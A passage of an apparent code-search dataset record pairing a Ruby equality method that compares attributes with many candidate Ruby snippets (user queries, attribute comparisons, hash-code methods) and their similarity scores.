users\n end", "def ignore\n users = User.where(username: [params[:username], params[:other_username]])\n raise Discourse::InvalidParameters.new if users.size != 2\n\n DiscourseFingerprint.ignore(users[0], users[1], add: params[:remove].blank?)\n DiscourseFingerprint.ignore(users[1], users[0], add: params[:remove].blank?)\n\n render json: success_json\n end", "def participants\n User.find Participation.select(\"distinct user_id\").where(:occasion_id => id).all.map(&:user_id)\n # participations.map(&:user).uniq\n end", "def participants_removed # :nodoc:\n @properties[REMOVED].map { |id| @context.users[id] }\n end", "def upped_by_user?(user)\n up = self.comment_up_downs.find_by_user_id_and_action(user.id,1) # get the up that a user gave to this comment before \"if exists\"\n !up.nil? # if up is nil then return false if not then return true\n end", "def get_relevant_users(include_evaluator = false, include_evaluated = false)\n relevant_users = self.get_team_members\n if not self.adviser_id.blank?\n relevant_users.append(self.adviser.user)\n end\n if not self.mentor_id.blank?\n relevant_users.append(self.mentor.user)\n end\n if include_evaluator\n relevant_users.concat(self.get_evaluator_teams_members)\n end\n if include_evaluated\n relevant_users.concat(self.get_evaluated_teams_members)\n end\n return relevant_users\n end", "def filtered_reviewers(pull_request)\n possible_reviewers - (pull_request.commit_authors | User.paused_logins)\n end", "def commented_by?(person)\n !!self.comments.find(:first, :conditions => [\"comments.person_id = ?\", person.id])\n end", "def transferrable_to_users\n collaborator_users.where.not(id: user_id)\n end", "def candidates_forwarded_or_rejected\n users.where('users.status <> :us AND user_campaigns.status in (:cs)', us: USER_STATUS_DELETED, cs: [USER_CAMPAIGN_STATUS_FORWARDED, USER_CAMPAIGN_STATUS_REJECTED])\n end", "def liked_by? user\n not likes.reject { |like| like.created_by != user }.blank?\n end" ]
[ "0.726363", "0.6930062", "0.67556727", "0.6714877", "0.66087335", "0.6477277", "0.6403893", "0.6397718", "0.63348085", "0.6313177", "0.62309486", "0.6145412", "0.60886616", "0.60490894", "0.59831727", "0.59464157", "0.5930235", "0.5926613", "0.5918761", "0.5903828", "0.58982813", "0.58947235", "0.58781093", "0.58720773", "0.5865718", "0.5862647", "0.5851594", "0.58022064", "0.5789298", "0.57809734", "0.57798165", "0.5778378", "0.57711744", "0.57434565", "0.57399535", "0.5721312", "0.5714444", "0.57063824", "0.56539875", "0.56513", "0.5646622", "0.5641709", "0.5640714", "0.5640714", "0.5639643", "0.5639113", "0.56283677", "0.5622133", "0.5622133", "0.56174463", "0.56103617", "0.56045264", "0.5604049", "0.5603421", "0.5598955", "0.5590391", "0.5582324", "0.5561864", "0.5552741", "0.55510426", "0.5544285", "0.5540197", "0.5539712", "0.55331963", "0.55301034", "0.55255115", "0.55219036", "0.5516939", "0.5508995", "0.5505764", "0.5486316", "0.5485833", "0.5484332", "0.5482179", "0.54803807", "0.54730177", "0.546593", "0.54544145", "0.5433221", "0.54304314", "0.5428997", "0.54279494", "0.541975", "0.5399473", "0.5394988", "0.53919905", "0.538663", "0.5382661", "0.5379304", "0.5374867", "0.5368436", "0.53567857", "0.5355048", "0.5351951", "0.53444093", "0.53440714", "0.5338957", "0.53330106", "0.5332501", "0.5330348" ]
0.67844874
2
Checks equality by comparing each attribute.
def ==(o) return true if self.equal?(o) self.class == o.class && from_ts == o.from_ts && group_by == o.group_by && groups == o.groups && monitors == o.monitors && overall == o.overall && series == o.series && thresholds == o.thresholds && to_ts == o.to_ts && type == o.type && type_id == o.type_id end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def ==(other)\n attributes == other.attributes\n end", "def ==(other) # :nodoc:\n @attrs == other.attrs\n end", "def eql?(other)\n return true if self == other\n @@ATTRIBUTES.each do |att|\n return false unless self.send(att).eql?(other.send(att))\n end\n true\n end", "def assert_equal_attributes(object, expected_attributes)\n expected_attributes.each do |index, value|\n assert_equal value, object[index], \"#{index}\"\n end\n end", "def attr_equal?(o)\n self == o and\n self.instance_variables_compare(o).empty? and\n self.attributes == o.attributes\n end", "def same_attributes?(spec)\n @@attributes.all? {|name, default| self.send(name) == spec.send(name) }\n end", "def ==(other)\n self.class.valid_attrs.each do |attr|\n return false if read(attr) != other.read(attr)\n end\n true\n end", "def ==(other)\n self.attributes == (other.respond(:attributes) || {} )\n end", "def ==(other)\n other.present? && self.attributes == other.attributes\n end", "def ==(other)\n return false if other.nil? || !other.respond_to?(:attributes)\n attributes == other.attributes\n end", "def match?(attributes)\n attributes.each do |attr, val|\n return false if send(attr).to_s != val.to_s\n end\n true\n end", "def ==(other)\n self.class == other.class &&\n self.attributes == other.attributes\n end", "def ==(other)\n self.class == other.class &&\n attributes == other.attributes\n end", "def ==(other)\n return super unless other.is_a?(self.class)\n\n attributes.all? { |name, value| value == other.send(name) }\n end", "def changed?(comparison)\n attributes.any? do |attribute, value|\n next unless comparison.key?(attribute)\n comparison[attribute] != value\n end\n end", "def ==(other)\n return false unless self.class == other.class\n self.attributes == other.attributes\n end", "def ==(other)\n if other.kind_of? Details::Attribute\n self.name == other.name && self.value == other.value\n else\n self.value == other\n end\n end", "def ==(other)\n return false unless other.instance_of? self.class\n attributes == other.attributes\n end", "def ==(other)\n return super unless other.is_a?(self.class)\n\n attributes.all? { |name, value| value == other.attributes[name] }\n end", "def ==(other)\n return super unless other.is_a?(self.class)\n\n attributes.all? { |name, value| value == other.attributes[name] }\n end", "def ==(other)\n return super unless other.is_a?(self.class)\n\n attributes.all? { |name, value| value == other.attributes[name] }\n end", "def ==(other)\n Attribute === other && \n !(Expression === other) &&\n relation == other.relation && \n name == other.name && \n self.alias == other.alias && \n original_relation == other.original_relation\n end", "def ==(obj)\n if obj.instance_of?(self.class)\n compare_attributes = [\"category_id\", \"combo_item_id\", \"quantity\", \"sequence\"]\n compare_attributes.each do |field|\n if self.send(field) != obj.send(field)\n return false\n end\n end\n return true\n end\n return false\n end", "def ==(other)\n return false if other.class != self.class\n attr_hash == other.attr_hash\n end", "def ==(other)\n case other\n when Chair::Row\n @attributes == other.instance_variable_get('@attributes')\n when Array\n @attributes.values == other\n else false\n end\n end", "def == other\n return false unless other.kind_of? self.class\n attribute_of.all? do |key, val|\n val.get == other.__send__(key)\n end\n end", "def correct_combination?(attr1, attr2, attr3)\n result = false\n if attr1 == attr2 && attr2 == attr3\n result = true\n elsif attr1 != attr2 && attr2 != attr3 && attr1 != attr3\n result = true\n end\n return result\n end", "def ==(other)\n return false if self.class != other.class\n return super if @_lazer_model.required_properties.empty?\n @_lazer_model.required_properties.each do |key_name|\n return false if read_attribute(key_name) != other.read_attribute(key_name)\n end\n true\n end", "def eql?(other)\n other.is_a?(self.class) && !self.class.comparison_attrs.find{|a| send(a) != other.send(a)}\n end", "def verify_attributes(hash, expected)\n return [] unless expected.attributes\n expected.attributes.map{ |a| verify_attribute_value(hash[a.name.to_s], a) }\n end", "def assert_attributes obj, attr_hash\n default_attr_hash = {}\n if obj.respond_to? :default_attr_hash\n default_attr_hash = obj.default_attr_hash\n end\n default_attr_hash.merge(attr_hash).each_pair do |key, value|\n assert_equal value, obj.__send__(key), \"Attribute #{key} of #{obj}\"\n end\n end", "def match_attributes(attrs)\n attrs = Saxxy::Helpers.stringify_keys(attrs)\n attributes.reduce(true) do |b, (k, v)|\n value = attrs[k]\n b && ((!value.nil? && match(v, value)) || (v.nil? && value.nil?))\n end\n end", "def equal_set(expected)\n message = \"#{Helpers.inspect_records(@object)} has the same records as #{Helpers.inspect_records(expected)}\"\n \n left = @object.map(&:id).sort\n right = expected.map(&:id).sort\n \n test_case.assert(left != right, message)\n end", "def ===(other)\n required = self.class.required_attributes\n\n other.respond_to?(:keys) && (common = other.keys & required) &&\n common.size == other.keys.size && common.size == required.size\n end", "def bt_same_value?(other)\n bt_value_attributes == other.bt_value_attributes\n end", "def ==(x)\n return true if object_id == x.object_id\n return false unless x.kind_of?(AttrArray)\n each_with_index do |a, n|\n return false unless a == x[n]\n end\n true\n end", "def equal_set(expected)\n message = \"#{Helpers.inspect_records(@object)} does not have the same records as #{Helpers.inspect_records(expected)}\"\n \n left = @object.map(&:id).sort\n right = expected.map(&:id).sort\n \n test_case.assert(left == right, message)\n end", "def compare_attributes(data_criteria, criteria)\n return false unless data_criteria['dataElementAttributes']&.any?\n\n data_criteria['dataElementAttributes'].map { |dc| dc.except('_id') }.include? criteria['dataElementAttributes'][attribute_index].except('_id')\n end", "def ==(other)\n @klass == other.class && @attributes == strip_active_record(other)\n end", "def ==(other)\n other.is_a?(self.class) &&\n other.attribute == attribute &&\n other.validation == validation &&\n other.expected == expected &&\n other.actual == actual\n end", "def == other\n return false unless self.class == other.class\n [:unit, :frequency, :anchor, :weeks, :monthdays, :weekdays, :times].all? do |attribute|\n self.send(attribute) == other.send(attribute)\n end\n end", "def compare_equal?(item, line_item)\n ![\n :ax_account_number,\n :ax_account_id,\n :ax_order_number,\n :ax_order_id,\n :email_address,\n :first_name,\n :last_name,\n :serial_number,\n :purch_order_form_num\n ].detect { |attr| item.send(attr) != line_item.send(attr) }\n end", "def ==(b) # :nodoc:\n ( b.respond_to?(:result_attributes) &&\n result_attributes == b.result_attributes && \n @result_attributes.all?{ |k| send(k) == b.send(k) } )\n end", "def validates_different(*attr_names)\n validates_with ValidatesAll::DifferenceValidator, _merge_attributes(attr_names)\n end", "def identical?\n #Song.first.attributes.each { |v,k| Song.find(:all, :conditions => [\" #{v} like ?\", \"%blah%\"])}\n Song.find(:all, :conditions => [\"name = ? or length = ?\", \"#{self.name}\", self.length]) do |x| \n x.hash == self.hash\n end\n end", "def diff?(model = self.class.find(id))\n self.class.diffable_attributes.each do |attribute|\n return true if send(attribute) != model.send(attribute)\n end\n return false\n end", "def filter_attributes_match?(hash_one, hash_two)\n hash_one.all? do |key, value_one|\n value_two = hash_two[key]\n case\n when value_one == value_two\n true\n when value_one.is_a?(Hash) && value_two.is_a?(Hash)\n filter_attributes_match?(value_one, value_two)\n when hash_one[key].to_s == hash_two[key].to_s\n true\n when value_one.is_a?(String) && value_one.start_with?(\"eval:\")\n eval_attribute_value(value_one, value_two)\n else\n false\n end\n end\n end", "def comparable_attributes\n#\t\tHashWithIndifferentAccess[attributes.select {|k,v| \n#\t\t\t!Abstract.incomparable_attribute_names.include?(k)}]\n\t\tHashWithIndifferentAccess[attributes.select {|k,v| db_fields.include?(k)}]\n\tend", "def all_equal?\n a = self.first\n all? { |b| a == b }\n end", "def check_attrs(attr_list)\r\n attrs = []\r\n attr_list.each do |attr_sym|\r\n attr = assigns(attr_sym.to_sym)\r\n assert_not_nil attr, \"Attribute @#{attr_sym} should not be nil\"\r\n assert !attr.new_record?, \"Should have saved the @#{attr_sym} obj\" if attr.class == ActiveRecord\r\n attrs << attr\r\n end\r\n attrs.length > 1 ? attrs : attrs[0]\r\n end", "def check_attrs(attr_list)\r\n attrs = []\r\n attr_list.each do |attr_sym|\r\n attr = assigns(attr_sym.to_sym)\r\n assert_not_nil attr, \"Attribute @#{attr_sym} should not be nil\"\r\n assert !attr.new_record?, \"Should have saved the @#{attr_sym} obj\" if attr.class == ActiveRecord\r\n attrs << attr\r\n end\r\n attrs.length > 1 ? attrs : attrs[0]\r\n end", "def attr_set?(cards, attr)\n array = []\n cards.each do |card|\n # evalutes the string 'attr' and returns the value\n array << card.send(attr)\n end\n\n # only return true if it's all the same or totally different\n return true if array.uniq.count == 1\n return true if array.uniq.count == 3\n return false\n end", "def attribute_changed?(attribute_name)\n (self.diff['attributes']['new']||{})[attribute] != (self.diff['attributes']['old']||{})[attribute]\n end", "def eql?(other)\n return false if (other.nil? or self.class != other.class)\n return false unless super(other)\n return false unless self.attributes == other.attributes\n return false unless self.nodes == other.nodes\n true\n end", "def eql?(other)\n return false unless self.class == other.class\n self.key_attributes == other.key_attributes\n end", "def eql?(object)\n self.class.equal?(object.class) && attributes == object.attributes\n end", "def uniquify_attributes(attributes)\n attributes.each do |ka|\n oldval = send(ka)\n next unless String === oldval\n newval = UniquifierCache.instance.get(self, oldval)\n set_property_value(ka, newval)\n logger.debug { \"Reset #{qp} #{ka} from #{oldval} to unique value #{newval}.\" }\n end\n end", "def equals(rule)\n element == rule.element && attributes == rule.attributes\n end", "def multi_element_attr_check( elements )\n wanted = Array.new\n found = Array.new\n elements.each do |element|\n print \".\"\n e = $driver.find_element(element[0].to_sym, element[1])\n wanted << [ element[1], element[2], element[3] ]\n found << [ element[1], element[2], e.attribute(element[2]) ]\n end\n\n found.should == wanted\n end", "def attr_reader(*args)\n super\n comparison_attrs.concat(args)\n end", "def xml_nodes_match_attrs(xml_nodes, attrs, mismatches = [])\n attrs.each_with_index.each { |attr_set, idx|\n xn = xml_nodes[idx]\n attr_set.each { |(attr_key, attr_val)|\n # Either call method, or hash key, or recurse on children\n # p.name vs. p[:name]\n if :children == attr_key\n # recurse over children\n xml_nodes_match_attrs(xn.children, attr_val, mismatches)\n else\n # compare attrs\n xn_val = xn.methods.include?(attr_key) ? xn.send(attr_key) : xn[attr_key]\n if xn_val != attr_val\n mismatches << { node: xn.name_and_class_path, attr: \"#{ attr_key }: expected #{ attr_val.inspect }, got #{ xn_val.inspect }\" }\n end\n end\n }\n }\n mismatches\n end", "def matches_state_attrs?\n @expected_attrs == state_attrs\n end", "def equal_list(expected)\n message = \"#{Helpers.inspect_records(@object)} has the same records as #{Helpers.inspect_records(expected)}\"\n \n left = @object.map(&:id)\n right = expected.map(&:id)\n \n test_case.assert(left != right, message)\n end", "def eql?(other)\n return false unless super(other)\n return false unless attributes == other.attributes\n return false unless content == other.content\n\n true\n end", "def ==(other)\n return true if other.equal?(self)\n return false unless other.instance_of?(self.class)\n\n self.class.attributes.inject(true) do |memo, attribute|\n attribute_name = attribute.first\n attribute_type = attribute.last[:type]\n\n # Skip associations\n if attribute_type.include?(LazyResource::Resource) || (attribute_type.is_a?(::Array) && attribute_type.first.include?(LazyResource::Resource))\n memo\n else\n memo && self.send(:\"#{attribute_name}\") == other.send(:\"#{attribute_name}\")\n end\n end\n end", "def matches? item, attributes\n\n attributes.map { |attribute, value|\n\n item.send(attribute) == value\n\n }.flatten == [true]\n\n end", "def ==( other ) \n\t\t\tcomparison_attributes = lambda{ |area| [ area.area_desc, area.altitude, area.ceiling, area.circles, area.geocodes, area.polygons ]}\n\t\t\tcomparison_attributes.call( self ) == comparison_attributes.call( other )\n\t\tend", "def all_obs_same_attr?(observations, attr)\n exemplar = observations.first.send(attr)\n observations.all? { |o| o.send(attr) == exemplar }\n end", "def eql?(*) end", "def eql?(other)\n return true if equal?(other)\n return false unless self == other\n [:id, :fide_id, :rating, :fide_rating, :title, :gender].each do |m|\n return false if self.send(m) && other.send(m) && self.send(m) != other.send(m)\n end\n true\n end", "def match\n @matches = attributes_enumerator.map do |(type, value), index|\n attribute_name = self.class.names[index]\n attributes.store(\n attribute_name, type.match(value, context: @context.dup)\n )\n end\n return if (failures = @matches.select(&:invalid?)).empty?\n failures.unshift(failure).reduce(:merge!)\n end", "def ==(val)\n if val.is_a?(Model)\n # Use normal comparison for a model\n super\n else\n # Compare to attributes otherwise\n attributes == val\n end\n end", "def ==(o)\n return true if self.equal?(o)\n self.class == o.class &&\n attribute == o.attribute &&\n statistics == o.statistics &&\n other == o.other &&\n total == o.total &&\n missing == o.missing &&\n term_count == o.term_count &&\n term_type == o.term_type &&\n terms == o.terms\n end", "def ==(*several_variants)\n #This is a stub, used for indexing\n end", "def is_equal?(a)\n @amount == a.amount && @code == a.code\n end", "def equal_list(expected)\n message = \"#{Helpers.inspect_records(@object)} does not have the same records as #{Helpers.inspect_records(expected)}\"\n \n left = @object.map(&:id)\n right = expected.map(&:id)\n \n test_case.assert(left == right, message)\n end", "def comparison_attributes\n except_list = ['id', 'updated_at', 'created_at', 'verified_at']\n except_list << 'alternative_phone' unless Spree::Config[:alternative_shipping_phone]\n except_list << 'company' unless Spree::Config[:company]\n\n a = attributes.except(*except_list)\n a.each{|k, v|\n if v.is_a?(String)\n v = v.downcase.strip.gsub(/\\s+/, ' ')\n a[k] = v.present? ? v : nil\n end\n }\n a['state_name'] = nil if a['state_name'].blank?\n a\n end", "def xml_should_eql(actual, expected)\n same = xml_cmp(actual, expected)\n actual.should.== expected unless same \nend", "def multi_element_attr_match( elements )\n elements.each do |element|\n print \".\"\n wait_for_element(element[0].to_sym, element[1])\n check_attribute_match(element[0].to_sym, element[1], element[2], element[3])\n end\n end", "def test_equality_simple\n value1_ = ::Versionomy.create(:major => 2, :minor => 0, :release_type => :alpha, :alpha_version => 5)\n value2_ = ::Versionomy.create(:major => 2, :release_type => :alpha, :alpha_version => 5)\n assert_equal(value2_, value1_)\n assert_equal(value2_.hash, value1_.hash)\n end", "def ==(other)\n other.is_a?(self.class) &&\n name == other.name &&\n attributes == other.attributes\n end", "def changes(attrs1, attrs2)\n old_attrs = attrs1.slice(*GENERATED_ATTRS)\n new_attrs = attrs2.slice(*GENERATED_ATTRS)\n\n return if old_attrs == new_attrs\n old_attrs.each do |k, v|\n next if new_attrs[k] == v\n @changes << Change.new(nil, k, v, new_attrs[k]) \n end\n end", "def tdiff_equal(node)\n if (self.class == node.class)\n case node\n when Nokogiri::XML::Attr\n (self.name == node.name && self.value == node.value)\n when Nokogiri::XML::Element, Nokogiri::XML::DTD\n self.name == node.name\n when Nokogiri::XML::Text, Nokogiri::XML::Comment\n self.text == node.text\n when Nokogiri::XML::ProcessingInstruction\n (self.name == node.name && self.content = self.content)\n else\n false\n end\n else\n false\n end\n end", "def ==(other)\n name == other.name &&\n color == other.color &&\n age == other.age\n end", "def more_desirable?(attribute_id1, attribute_id2)\n attribute_id1 < attribute_id2\n end", "def isSame(tab)\n for x in 0..3\n for y in 0..3\n return(false) if (self.val(x,y) != tab.val(x,y)) ;\n end\n end\n return true ;\n end", "def ==(other)\n # If the classes don't match, they cannot possibly be equal.\n if self.class != other.class\n return false\n end\n\n # If the persisted state doesn't match, they also can never be equal.\n if persisted? != other.persisted?\n return false\n end\n\n # When persisted, check the other's id to see if it's the same,\n # cannot possible be equals if they have different ids.\n if persisted? && id != other.id\n return false\n end\n\n # Finally, compare the attributes hash. If all key/values match,\n # they are considered equal.\n attributes == other.attributes\n end", "def ==(other)\n self.class == other.class &&\n attributes[\"_id\"] == other.attributes[\"_id\"]\n end", "def assert_same_values(expected, actual)\n actual.each_pair do |k,v|\n next unless expected[k]\n assert_equal expected[k], v, \"Values for #{k} are not matching\"\n end\n end", "def assert_equivalent_xml(expected, actual)\n expected_xml = Nokogiri::XML(\"<test-xml>\\n#{expected}\\n</test-xml>\")\n actual_xml = Nokogiri::XML(\"<test-xml>\\n#{actual}\\n</test-xml>\")\n ignored_attributes = %w(style data-disable-with)\n\n equivalent = EquivalentXml.equivalent?(expected_xml, actual_xml, {\n ignore_attr_values: ignored_attributes\n }) do |a, b, result|\n if result === false && b.is_a?(Nokogiri::XML::Element)\n if b.attr('name') == 'utf8'\n # Handle wrapped utf8 hidden field for Rails 4.2+\n result = EquivalentXml.equivalent?(a.child, b)\n end\n if b.delete('data-disable-with')\n # Remove data-disable-with for Rails 5+\n # Workaround because ignoring in EquivalentXml doesn't work\n result = EquivalentXml.equivalent?(a, b)\n end\n if a.attr('type') == 'datetime' && b.attr('type') == 'datetime-local'\n a.delete('type')\n b.delete('type')\n # Handle new datetime type for Rails 5+\n result = EquivalentXml.equivalent?(a, b)\n end\n end\n result\n end\n\n assert equivalent, lambda {\n # using a lambda because diffing is expensive\n Diffy::Diff.new(\n sort_attributes(expected_xml.root),\n sort_attributes(actual_xml.root)\n ).to_s(:color)\n }\n end", "def sync_duplicate_obj_attributes(obj1, obj2)\n duplicate_keys.each do |key|\n unless obj1[key].blank? && obj2[key].blank?\n if obj1[key].blank?\n obj1.send(\"#{key}=\", obj2[key])\n elsif obj2[key].blank?\n obj2.send(\"#{key}=\", obj1[key])\n else # Each obj has a value\n if obj1[key] != obj2[key]\n raise ArgumentError, \"#{key} attribute values on the two objects don't match: #{obj1[key]} vs #{obj2[key]}\"\n end\n end\n end\n end\n end", "def eql?(other)\n return true if equal?(other)\n\n # two instances for different models cannot be equivalent\n return false unless other.kind_of?(model)\n\n # two instances with different keys cannot be equivalent\n return false if key != other.key\n\n # neither object has changed since loaded, so they are equivalent\n return true if repository == other.repository && !dirty? && !other.dirty?\n\n # get all the loaded and non-loaded properties that are not keys,\n # since the key comparison was performed earlier\n loaded, not_loaded = properties.select { |p| !p.key? }.partition do |property|\n attribute_loaded?(property.name) && other.attribute_loaded?(property.name)\n end\n\n # check all loaded properties, and then all unloaded properties\n (loaded + not_loaded).all? { |p| p.get(self) == p.get(other) }\n end", "def assert_event_are_light_equal e1, e2\n return false if e1.class != e2.class\n\n [:subject, :event, :moodid,\n :mood, :music, :location, :taglist, :pickeyword,\n :preformatted, :backdated, :comments, :security, :allowmask,\n :screening,].each do |attr|\n return false if e1.send(attr) != e2.send(attr)\n end\n\n e1.compare_time(e2)\n end", "def eql(expected)\n set_relativity(:eql, expected)\n end", "def modified?( original )\n DATA_ATTRIBUTES.any? { |e| send( e ) != original.send( e )}\n end", "def ==(other)\n @name == other.name && @amount == other.amount\n end", "def ==(other)\n other.kind_of?(self.class) &&\n @name == other.name && @columns == other.columns && @unique == other.unique?\n end", "def match_same_name_attributes(*options)\n\n options = options.extract_options!\n same_name_attributes = @from_table.columns.map(&:name) & @to_table.columns.map(&:name)\n\n if same_name_attributes\n same_name_attributes = columns_from_options(same_name_attributes, options)\n same_name_attributes.each do |same_name_attribute|\n from same_name_attribute, :to => same_name_attribute\n end\n end\n end", "def equal_pair(key, request)\n if @event[\"required\"][key] == request[\"object_attributes\"][key] || event[\"required\"][key] == \"\"\n true\n else\n false\n end\n end", "def assert_equal(att, value, error = [att, :not_equal])\n assert value === send(att), error\n end", "def validate\n matched = {}\n duplicated_attributes = []\n attributes.each do |attribute|\n if matched.has_key?(attribute.name) && matched[attribute.name] == attribute.name_format\n duplicated_attributes << attribute.name unless duplicated_attributes.include?(attribute.name)\n else\n matched[attribute.name] = attribute.name_format\n end\n end\n if !duplicated_attributes.empty?\n raise ValidationError, \"An attribute with the same name and name format may only be specified once. The following attributes were specified multiple times: #{duplicated_attributes.join(',')}\"\n end\n end" ]
[ "0.72932124", "0.7189842", "0.70406866", "0.7007727", "0.68881786", "0.68621296", "0.67085785", "0.66622394", "0.661674", "0.6586541", "0.65844727", "0.65818226", "0.65561724", "0.6545535", "0.6508076", "0.64813215", "0.64577025", "0.64179385", "0.6414028", "0.6414028", "0.6414028", "0.6413171", "0.6381426", "0.63794506", "0.6261132", "0.6248216", "0.62396336", "0.62170404", "0.62027985", "0.6185393", "0.6183358", "0.61645603", "0.6130997", "0.6116409", "0.60984176", "0.6085103", "0.60793746", "0.60665256", "0.6007008", "0.59990627", "0.59962237", "0.5992054", "0.59861875", "0.59839666", "0.59775484", "0.59522015", "0.5942759", "0.59304726", "0.5926056", "0.5919373", "0.5919373", "0.59087664", "0.58807796", "0.58804125", "0.5872191", "0.5858762", "0.58584523", "0.5856515", "0.58547515", "0.5848128", "0.584702", "0.5838001", "0.580043", "0.57966435", "0.5789952", "0.5782547", "0.57804406", "0.5776911", "0.5768212", "0.5760853", "0.57585114", "0.5754842", "0.57537735", "0.5751662", "0.5739966", "0.57313424", "0.57282376", "0.57258046", "0.57248116", "0.57227004", "0.57146037", "0.57104737", "0.5706446", "0.57053125", "0.5702263", "0.56904846", "0.56762695", "0.5645565", "0.5641733", "0.56226075", "0.56152636", "0.55932444", "0.5588176", "0.5585386", "0.55700636", "0.55527586", "0.55477995", "0.5546062", "0.5543475", "0.55395126", "0.55284184" ]
0.0
-1
Calculates hash code according to all attributes.
def hash [from_ts, group_by, groups, monitors, overall, series, thresholds, to_ts, type, type_id].hash end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def attr_hash\n Digest::MD5.hexdigest(\"#{@name}:#{@ruby_type}\")\n end", "def hash() end", "def hash() end", "def hash() end", "def hash() end", "def hash() end", "def hash() end", "def hash() end", "def hash\n code = 17\n code = 37*code + @x.hash\n code = 37*code + @y.hash\n # Add lines like this for each significant instance variable\n code # Return the resulting code\n end", "def hash(*) end", "def hash\n code = 17\n code = 37 * code\n self.instance_variables.each do |v|\n code += self.instance_variable_get(v).hash\n end\n code\n end", "def hash_code; end", "def calculate_hash!\n prefix = PREFIX_NAME_LOOKUP[self.type]\n # add special cases for refs\n self.hash_id = NodeId.sha1(\"#{prefix} #{self.size}\\0#{self.content}\")\n end", "def hash() #:nodoc:\n prime = 31;\n result = 1;\n result = prime * result + @amount.to_i\n result = prime * result + @new_balance.to_i\n result = prime * result + (@date.nil? ? 0 : Bankjob.date_time_to_ofx(@date).hash);\n result = prime * result + (@raw_description.nil? ? 0 : @raw_description.hash);\n result = prime * result + (@type.nil? ? 0 : @type.hash);\n # don't use value date\n return result;\n end", "def hash\n prime = 31\n result = 1\n result = result * prime + (@decision_target == nil ? 0 : @decision_target.hash)\n result = prime * result + (@string_id == nil ? 0 : @string_id.hash)\n result\n end", "def hash\n @hash ||= begin\n result = 17\n result = 31 * result + self.class.hash\n result = 31 * result + ord\n result.is_a?(Fixnum) ? result : result.hash\n end\n end", "def hash\n @hash ||= begin\n result = 17\n result = 31 * result + self.class.hash\n result = 31 * result + ord\n result.is_a?(Fixnum) ? result : result.hash\n end\n end", "def hash; map{|el| \"#{el.name} @ #{el.hash}\"}; map(&:hash).reduce(:+) % 2**32; end", "def hash\r\n a = 0\r\n @id.each_byte {|c| a += c.to_i}\r\n (a + @paired.to_i) * HASH_PRIME\r\n end", "def hash\n raw = [name, type, values.join('/')].join(' ')\n Digest::MD5.hexdigest(raw)\n end", "def hash\n size.hash ^ rank.hash\n end", "def hash\n \"#{self.class.name}-#{self.id}-#{@__metadata__.cas}-#{@__attributes__.hash}\".hash\n end", "def hash\n @hash || calculate_hash!\n end", "def hash\n return name.hash ^ direction.hash ^ lhs.hash ^ rhs.hash\n end", "def hash\n value = 0\n my_rows = @rows\n r_size = my_rows.size\n for i in 0..r_size-1 do\n a_row = my_rows[i]\n a_size = a_row.size\n for j in 0..a_size-1 do\n value ^= a_row[j].hash\n end\n end\n return value\n end", "def hash\n id.hash + 32 * bs_request.hash\n end", "def do_hash(input)\n a = OpenSSL::Digest.hexdigest(\"SHA224\", input).to_i % 19\n b = OpenSSL::Digest.hexdigest(\"SHA512\", input).to_i % 19\n [a, b]\n end", "def hash\n type.hash ^ (id.hash >> 1)\n end", "def hash\n [self.class, self.val, self.attribute].hash\n end", "def hash\n 0\n end", "def hash # :nodoc:\n identifier.hash ^ requirement.hash\n end", "def hash\n self.class.hash ^ key_attributes.hash\n end", "def hash\n return super unless has_size?\n\n res = 0\n each do |el|\n res += el.hash\n end\n return res\n end", "def hash\n h = @e.nil? ? 0 : @e\n h = (h << 1) ^ @r.hash\n h = (h << 1) ^ @v.hash\n end", "def hash() source.hash ^ (target.hash+1); end", "def hash() source.hash ^ (target.hash+1); end", "def hash\n\t\t\"#{@x}#{@y}\".hash\n\tend", "def hash #:nodoc:\n __getobj__.hash ^ self.class.hash\n end", "def hash\n Zlib.crc32(to_a.map(&:to_s).sort.to_s)\n end", "def hash_code\n prime = 31\n result = 1\n result = prime * result + x\n result = prime * result + y\n return result;\n end", "def hash\n self.class.hash ^ operand.hash\n end", "def hash!\n\t\t@@email.downcase!\n\t\thash = Digest::MD5.hexdigest(@@email)\n\t\treturn hash\n\tend", "def hash\n [anchor, cv, nullifier, proof, rk, spend_auth_sig].hash\n end", "def hash\n ([self.class] + self.class.comparison_attrs.map{|x| send(x)}).hash\n end", "def hash\n @symbols.hash + 37*positive?.hash\n end", "def calculate_unique_hash\n unique = ''\n unique += self.content if self.content.present?\n unique += self.summary if self.summary.present?\n unique += self.title if self.title.present?\n self.unique_hash = Digest::MD5.hexdigest unique\n end", "def hash()\n #This is a stub, used for indexing\n end", "def hash\n # Memoizing such a simple hash value seems silly, however the\n # profiler showed the Card#hash method as having 22% of the runtime. My\n # memoizing the hash value that was reduced to 12%.\n return @hash unless @hash.nil?\n @hash = @value.hash ^ @suit.hash\n end", "def hash=(_arg0); end", "def block_hash\n\t\tdigest = Digest::SHA2.new\n\n\t\tdigest << '%d' % [ self.index ]\n\t\tdigest << self.timestamp.strftime( '%s%N' )\n\t\tdigest << self.payload\n\t\tdigest << self.payload_hash\n\t\tdigest << self.proof.to_s\n\t\tdigest << self.previous_hash\n\t\t\n\t\treturn digest.hexdigest\n\tend", "def hash\n num = 0\n self.each do |k,v|\n if k.is_a?(Integer) && v.is_a?(Integer)\n num += k * 26 + v\n elsif k.is_a?(Integer) && !v.is_a?(Integer)\n num += k * 26 + ALPHA_NUMBERS[v.to_s.downcase]\n elsif v.is_a?(Integer) && !k.is_a?(Integer)\n num += v * 26 + ALPHA_NUMBERS[k.to_s.downcase]\n elsif !k.nil? && !v.nil?\n num += ALPHA_NUMBERS[k.to_s.downcase] * ALPHA_NUMBERS[v.to_s.downcase]\n end\n end\n num\n end", "def hash\r\n\t\treturn @name.hash() + @type.hash()\r\n\tend", "def hash\n return @hash_code if defined? @hash_code\n @hash_code = usual_equal_object.hash\n end", "def hash; end", "def hash; end", "def hash; end", "def hash; end", "def hash; end", "def hash; end", "def hash; end", "def hash; end", "def hash; end", "def hash; end", "def hash\n [oct, pc].hash\n end", "def hash\n excl = @excl ? 1 : 0\n hash = excl\n hash ^= @begin.hash << 1\n hash ^= @end.hash << 9\n hash ^= excl << 24;\n # Are we throwing away too much here for a good hash value distribution?\n return hash & Fixnum::MAX\n end", "def hash\n code.hash\n end", "def hash # :nodoc:\n name.hash ^ type.hash ^ requirement.hash\n end", "def hash\n @vbits.hash\n end", "def hash\n Digest::SHA256.hexdigest( \"#{nonce}#{time}#{difficulty}#{prev}#{data}\" )\n end", "def hash\n if @sha512hash != nil\n return 